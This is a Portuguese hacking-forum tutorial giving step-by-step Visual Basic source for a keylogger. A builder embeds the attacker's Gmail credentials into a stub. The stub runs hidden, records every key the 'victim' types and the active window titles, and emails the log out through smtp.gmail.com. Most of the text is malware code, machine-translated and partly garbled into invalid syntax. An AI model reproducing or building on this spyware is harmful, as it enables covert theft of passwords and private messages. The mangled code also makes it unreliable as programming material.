Tutorial sobre como fazer um keylogger em Visual Basic.

Antes de começarmos, eu vou explane-lhe mais alguma coisa sobre o Visual Basic. O Visual Basic é uma linguagem de programação criada pela Microsoft Corporation. Sua linguagem de programação mais populares no mundo, é fácil e bom. Para que você acabou de começar com o Visual Basic, este será ótimo tutorial para aprender um pouco mais sobre isso. Além disso, se você está lendo este tutorial, por favor não apenas copiar / colar .. a melhor maneira de aprender é ler e estudar fonte. Mesmo se o seu avanço e difícil de entender, você vai encontrar maneira de compreendê-lo .. como eu.

OK, agora eu vou explane algo sobre linguagens de programação e como os computadores compreendê-los. Um computador não pode entender qualquer pessoas a língua falada. A língua falada como o Inglês é simplesmente demasiado ambígua geral e para computadores de entender. Temos de nos adaptar à máquina e aprender a linguagem de computador para que o computador possa entender. Aqui é onde entra em visual basic - quando você digita o código-fonte do Visual Basic para o computador, o computador processa estas declarações em linguagem Visual Basic.


ATENÇÃO: não funciona no Win7 & Vista porque o nome da dll que eu uso para obter as chaves não é esse nome para o Vista e win7.! Você pode google o nome. Dll biblioteca para encontrar para Windows7 & Vista

1.Download Microsoft Visual Studio Express - Construir aplicações de borda de corte do Windows de graça se você não já. 

2.
• Executar o Visual Basic
• Na guia File clique> Novo projeto
• Aplicação Windows> "Keylogger Builder"> Clique em Ok

3. Alterar o seguinte a partir das propriedades do Form1:

FormBorderStyle = FixedSingle
MaximizeBox = False
MinimizeBox = False
Mostrar Ícone = False
StartPosition = CenterScreen
Text = Keylogger Builder

Da caixa de ferramentas acrescentar: 

• TextBox1 - O GMail Username textbox
• Textbox2 - A caixa de texto Senha Gmail
• Button1 - O botão Build, Alterar texto para: Build
• Label1 - Alterar texto para: Nome de usuário do Gmail
• Label2 - Alterar texto para: senha do Gmail

4.Now quando você adiciona todos esses, em cima do código de acrescentar:
Código: 

Imports System.IO

Agora sob Public Class Form1 adicionar o seguinte código, que seria strings:
Código: 

Stub Dim, texto1, texto2 As String
Const FileSplit = "keylogger @ @"

Agora, quando você fez com que, simplesmente dê um duplo clique Button1 e adicione:


Código:

text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen (1, Application.StartupPath & "\ Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space (LOF (1))
FileGet (1 stub,)
FileClose (1)
Se File.Exists ("server.exe") Then
My.Computer.FileSystem.DeleteFile ("server.exe")
End If
FileOpen (1, Application.StartupPath & "\ server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut (1 stub, e FileSplit & text1 & FileSplit & text2 & FileSplit)
FileClose (1)
MsgBox ("O Server.exe é edificada!") 

5. Agora você tem seu construtor e agora vamos passar para Stub.
• Executar o Visual Basic
• Na guia File clique> Novo projeto
• Aplicação Windows> "Stub"> Clique em Ok

6.Change o seguinte a partir das propriedades do Form1: 

FormBorderStyle = FixedToolWindow
StartPosition = CenterScreen
Text = (sem texto)
WindowsState = Minimizado 

Da caixa de ferramentas acrescentar: 

• Textbox1 - Key Logger (acompanhar tudo o que escrever vítima)
• Textbox2 - GMail Usuário
• TextBox3 - senha do Gmail
• Timer1 - Intervalo Carregar
• Timer2 - Retorna o nome da janela onde se keylogger
teclas (userful)
• Timer3 - Get Chaves

7. Agora, quando você adicionar todos esses, em cima do código de acrescentar: 

Código:

Imports System.IO
Importações System.Net.Mail 

Agora sob Public Class Form1 adicionar o seguinte código, que seria strings: 

Código:

Opções de Dim (), texto1, texto2 As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim resultado As Integer
Const FileSplit = "keylogger @ @"

Agora clique duas vezes Timer1 e escrever seguinte código:

Código:

MailSetup Dim As New MailMessage
MailSetup.Subject = My.Computer.Name & ":"
MailSetup.To.Add (TextBox2.Text)
MailSetup.From = New MailAddress (TextBox2.Text)
MailSetup.Body = TextBox1.Text
SMTP Dim SmtpClient ("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = Net.NetworkCredential Novo (TextBox2.Text, TextBox3.Text)
SMTP.Send (MailSetup)

TextBox1.Clear () 

E adicione isso como função para o código-fonte:

BAIXAR COMO ADD FUNÇÃO SE VOCÊ NÃO KNOWGetTheWindwos.rar 

Código: 

Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias ​​"GetWindowTextA" (ByVal hWnd como Int32, lpString ByVal As String, ByVal cch Como Int32) como Int32
Strin Dim As String = Nothing
GetActiveWindowTitle Private Function () As String
MyStr As String Dim
MyStr = New String (Chr (0), 100)
GetWindowText (GetForegroundWindow, MyStr, 100)
MyStr MyStr.Substring = (0, InStr (MyStr, Chr (0)) - 1)
Retorno MyStr
End Function

 
Agora clique duas vezes Timer2 para obter os nomes das janelas ativas:

Código:

Se strin <GetActiveWindowTitle> () Em seguida,
TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle () & "]:" + vbNewLine
strin GetActiveWindowTitle = ()
End If

Agora dê um duplo clique Form1 e escrever seguinte código:  

ileOpen (1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space (LOF (1))
text2 = Space (LOF (1))
FileGet (1, text1)
FileGet (1, text2)
FileClose (1)
opções = Split (text1, FileSplit)
TextBox2.Text = opções (1)
TextBox3.Text = opções (2)
Timer1.Start ()
Timer2.Start ()

Agora dê um clique duplo código Timer3 e passado: 

Códico: 

Para i = 1 To 255
resultado = 0
result = GetAsyncKeyState (i)
Se o resultado = -32.767 Então
TextBox1.Text = TextBox1.Text + Chr (i)
End If
Next i

Em Breve Temos Vídeo no Canal Explicando passo a passo


Fonte:http://forum.guiadohacker.com.br/showthread.php?t=16676